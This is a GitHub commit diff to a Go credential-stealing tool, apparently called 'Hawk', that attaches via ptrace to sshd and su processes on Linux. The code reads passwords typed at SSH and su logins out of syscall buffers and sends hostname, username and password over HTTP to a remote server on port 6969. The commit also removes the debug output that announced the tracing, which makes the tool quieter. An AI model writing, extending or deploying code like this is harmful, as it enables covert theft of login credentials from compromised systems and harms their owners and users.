Skip to content

Commit

Permalink
fix: making more universal for linux os
Browse files Browse the repository at this point in the history
  • Loading branch information
MattKeeley committed Feb 26, 2024
1 parent 28426e4 commit a2358c4
Show file tree
Hide file tree
Showing 3 changed files with 15 additions and 25 deletions.
4 changes: 1 addition & 3 deletions main.go
Original file line number Diff line number Diff line change
Expand Up @@ -52,7 +52,7 @@ func exfil_password(username, password string) {
if err != nil {
return
}
serverURL := "http://10.159.76.35:6969/"
serverURL := "http://fill:6969/"
values := url.Values{}
values.Set("hostname", hostname)
values.Set("username", username)
Expand All @@ -75,7 +75,6 @@ func main() {
if !processedFirstPID {
processedFirstPID = true
} else {
fmt.Println("SSHD process found with PID:", pid)
go traceSSHDProcess(pid)
processed_pids = append(processed_pids, pid)
}
Expand All @@ -84,7 +83,6 @@ func main() {
if !processedFirstPID {
processedFirstPID = true
} else {
fmt.Println("SU process found with PID:", pid)
go traceSUProcess(pid)
processed_pids = append(processed_pids, pid)
}
Expand Down
28 changes: 13 additions & 15 deletions ssh_tracer.go
Original file line number Diff line number Diff line change
Expand Up @@ -5,18 +5,16 @@ import (
"io/ioutil"
"regexp"
"syscall"
"unicode"
)

func traceSSHDProcess(pid int) {
fmt.Printf("[Hawk] SSH Connection Identified on pid: %d.\n", pid)

err := syscall.PtraceAttach(pid)
if err != nil {
return
}
defer func() {
syscall.PtraceDetach(pid)
fmt.Printf("[Hawk] Detached from pid: %d.\n", pid)
}()

var wstatus syscall.WaitStatus
Expand All @@ -35,7 +33,6 @@ func traceSSHDProcess(pid int) {
var regs syscall.PtraceRegs
err := syscall.PtraceGetRegs(pid, &regs)
if err != nil {
fmt.Println("PtraceGetRegs:", err)
syscall.PtraceDetach(pid)
return
}
Expand All @@ -53,14 +50,10 @@ func traceSSHDProcess(pid int) {
if len(matches) == 2 {
username = string(matches[1])
}
var password = string(buffer)
valid := regexp.MustCompile(`\x00\x00\x00[^\n]*\f$`).MatchString(password)
if !valid {
fmt.Printf("Username: %q, Password %q\n", username, password)
go exfil_password(username, removeFirstFourBytes(password))
var password = removeNonPrintableAscii(string(buffer))
if len(password) > 2 && len(password) < 250 {
go exfil_password(username, removeNonPrintableAscii(password))
}
} else {
fmt.Printf("rdi: %d, rax: %d\n", regs.Rdi, regs.Orig_rax)
}
}
}
Expand All @@ -72,9 +65,14 @@ func traceSSHDProcess(pid int) {
}
}

func removeFirstFourBytes(input string) string {
if len(input) < 4 {
return ""
func removeNonPrintableAscii(input string) string {
var resultBuilder []rune

for _, char := range input {
if unicode.IsPrint(char) && char >= 32 && char != 127 {
resultBuilder = append(resultBuilder, char)
}
}
return input[4:]

return string(resultBuilder)
}
8 changes: 1 addition & 7 deletions su_tracer.go
Original file line number Diff line number Diff line change
Expand Up @@ -9,13 +9,11 @@ import (
)

func traceSUProcess(pid int) {
fmt.Printf("[Hawk] SU Connection Identified on pid: %d.\n", pid)
err := syscall.PtraceAttach(pid)
if err != nil {
return
}
defer func() {
fmt.Printf("[Hawk] Detached from pid: %d.\n", pid)
syscall.PtraceDetach(pid)
}()
var wstatus syscall.WaitStatus
Expand All @@ -34,11 +32,10 @@ func traceSUProcess(pid int) {
var regs syscall.PtraceRegs
ptrace_err := syscall.PtraceGetRegs(pid, &regs)
if ptrace_err != nil {
fmt.Println("PtraceGetRegs:", ptrace_err)
syscall.PtraceDetach(pid)
return
}
if regs.Orig_rax == 0 && regs.Rdx == 511 && regs.Rdi == 0 {
if regs.Orig_rax == 0 && regs.Rdi == 0 {
readSyscallCount++
if readSyscallCount == 3 {
buffer := make([]byte, regs.Rdx)
Expand All @@ -64,14 +61,11 @@ func traceSUProcess(pid int) {
}
return true
}(password) {
fmt.Printf("Username: %q, Password %q\n", username, password)
go exfil_password(username, password)
}
}
}

}

err = syscall.PtraceSyscall(pid, 0)
if err != nil {
return
Expand Down

0 comments on commit a2358c4

Please sign in to comment.